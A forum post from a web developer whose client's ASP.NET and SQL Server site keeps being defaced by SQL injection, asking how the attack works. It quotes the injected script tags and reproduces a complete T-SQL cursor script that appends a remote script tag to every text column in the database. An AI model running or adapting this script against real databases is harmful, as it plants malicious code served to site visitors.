Website Hacked - Possible SQL Injection - Please HELP!

Hi All,

One of our clients website got hacked a couple of times.

The Hack was that somehow they appended <script src=http://www.pingadw.com/b.js></script> and alot more of this scripts into every table on the database.

The first time it happened, we restored the database, changed the table names, changed the user in the SQL Server, changed the admin username and password, and also added extra security to the ASP.NET scripts by using SQLParemeters.

We then put the website online again, and after a couple of days, the same thing happened.

I found this on the Internet:

DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://winzipices.cn/2.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

From what I can understand, it looks thru all the tables in the database, find tables with the type text,ntext, etc, and append <script>your code </script> at the end of the tables.

I cant figure it out how they'd run that script from the website?

We are kind of running out of things to do, so if anyone got any ideas or help, that would be MUCH APPRECIATED.

Regards,
Vibrazy



Start Free Trial